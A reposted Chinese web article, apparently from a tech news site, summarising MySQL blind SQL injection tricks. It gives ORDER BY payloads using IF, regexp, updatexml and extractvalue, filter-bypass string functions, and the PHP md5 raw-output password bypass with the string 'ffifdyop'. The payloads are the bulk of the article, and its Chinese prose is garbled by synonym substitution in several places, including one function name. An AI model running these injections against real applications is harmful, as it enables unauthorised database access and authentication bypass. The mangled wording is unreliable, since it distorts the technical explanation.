作家
登录

MySQL False注入及技巧总结

作者: 来源: 2017-05-08 10:23:30 阅读 我要评论

  1. /?order=IFNULL(NULL,price) 经由过程price字段排序 /?order=IFNULL(NULL,name) 经由过程name字段排序 

还可以用rand函数

  1. /?order=rand(11=1) /?order=rand(1=2

平日这里我们是不知道列名的,那可以经由过程报错进行应用

  1. /?order=IF(11=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 缺点  应用regexp /?order=(select+1+regexp+if(11=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 缺点  应用updatexml /?order=updatexml(1,if(11=1,1,user()),1) 精确 /?order=updatexml(1,if(1=2,1,user()),1) 缺点  应用extractvalue /?order=extractvalue(1,if(11=1,1,user())) 精确 /?order=extractvalue(1,if(1=2,1,user())) 缺点 应用sleep()也可以.... 办法比较灵活 

有时刻我们可以应用一些逻辑语句进行注仁攀例如在比来的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜刮的时刻推想出语句是在like后的,就可以经由过程left来进行like盲注

3. 有关函数

3.1. 不常用函数绕过滤

  1. lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi' rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??' left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0)) 

3.2. 搜刮匹配类的函数

  1. '-if(locate('f',data),1,0)# '-if(locate('fo',data),1,0)# '-if(locate('foo',data),1,0)# instr(), position() 

3.3. 应用函数进行字符串的切割

  1. length(trim(leading 'a' FROM data)) # length will be shorter length(WordStr(data, 'a', '')) # length will be shorter 

4.  关于php中md5的一个小技能

PHP中这么一段sql语句

关于官方文档中的懂得大年夜致是:

  1. $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 

如不雅可选的 raw_output 被设置为 TRUE,那么 MD5 报文┞藩要将以16字节长度的原始二进制格局返回。

也就是找到一个字符串MD5的二进制正好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是'or',便产生注入。


  推荐阅读

  云端模糊测试挖洞实例

一、简介Fuzzing(模糊测试)是一种用于辨认软件bug以及马脚的办法。就今朝的成长趋势来说Fuzzing正向着云端迈进,相较于传统Fuzzing方法,云端Fuzzing使得模糊测试速度加快也加倍灵活。在本>>>详细阅读


本文标题:MySQL False注入及技巧总结

地址:http://www.17bianji.com/lsqh/35045.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)